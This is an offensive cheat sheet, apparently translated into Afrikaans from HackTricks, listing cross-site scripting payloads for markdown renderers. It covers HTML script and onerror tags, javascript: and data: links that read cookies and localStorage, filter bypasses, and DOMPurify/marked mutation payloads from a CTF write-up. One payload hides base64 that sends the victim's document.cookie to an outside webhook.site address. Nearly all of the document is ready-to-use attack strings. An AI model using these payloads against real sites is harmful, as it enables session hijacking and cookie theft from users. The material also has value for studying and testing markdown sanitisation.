As jy die kans het om kode in markdown in te voeg, is daar 'n paar opsies wat jy kan gebruik om 'n XSS te aktiveer wanneer die kode geïnterpreteer word.

HTML-tags

Die mees algemene manier om XSS in markdown te kry, is om algemene HTML-tags in te voeg wat javascript uitvoer, omdat verskeie markdown interpreteerders ook HTML sal aanvaar.

html
<!-- XSS with regular tags -->
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />

Jy kan meer voorbeelde vind in die hoof XSS-bladsy van hacktricks.

Javascript skakels

As HTML-tags nie 'n opsie is nie, kan jy altyd probeer om met markdown-sintaks te speel:

html
<!-- markdow link to XSS, this usually always work but it requires interaction -->
[a](javascript:prompt(document.cookie))

<!-- Other links attacks with some bypasses -->
[Basic](javascript:alert('Basic')) [Local
Storage](javascript:alert(JSON.stringify(localStorage)))
[CaseInsensitive](JaVaScRiPt:alert('CaseInsensitive'))
[URL](javascript://www.google.com%0Aalert('URL')) [In
Quotes]('javascript:alert("InQuotes")') [a](j a v a s c r i p
t:prompt(document.cookie))
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:window.onerror=alert;throw%201)

Img gebeurtenis sintaksis misbruik

markdown
![Uh oh...](<"onerror="alert('XSS')>)
![Uh oh...](<https://www.example.com/image.png"onload="alert('XSS')>)
![Escape SRC - onload](<https://www.example.com/image.png"onload="alert('ImageOnLoad')>)
![Escape SRC - onerror](<"onerror="alert('ImageOnError')>)

HTML Sanitiser Markdown Bypass

Die volgende kode is sanitizing HTML invoer en dan dit aan die markdown parser deurgee, dan kan XSS geaktiveer word deur misinterpretasies tussen Markdown en DOMPurify te misbruik.

html
<!--from https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e -->
<script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/marked@4.0.14/lib/marked.umd.min.js"></script>
<script>
const qs = new URLSearchParams(location.search)
if (qs.get("content")?.length > 0) {
document.body.innerHTML = marked.parse(
DOMPurify.sanitize(qs.get("content"))
)
}
</script>

Payloads voorbeeld:

html
<div
id="1

![](contenteditable/autofocus/onfocus=confirm('qwq')//index.html)">
-----------------------------------------------
<a
title="a

<img src=x onerror=alert(1)>"
>yep</a
>
------------------------------------------------ [x](y '<style>
')<!--
</style>
<div id="x--><img src=1 onerror=alert(1)>"></div>
---------------------------------------------- [
<p
x="<style onload=eval(atob(/bG9jYXRpb249YGh0dHBzOi8vd2ViaG9vay5zaXRlL2FiM2IyYjg5LTg1YTktNGU0YS1hNjg0LTUxN2M1ZjQwNmZmMj9mPWArZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LmNvb2tpZSk/.source))>](#"></p>
) ---------------------------------------------- `
<p x="`<img src=x onerror=alert(1)>"></p>
</div>
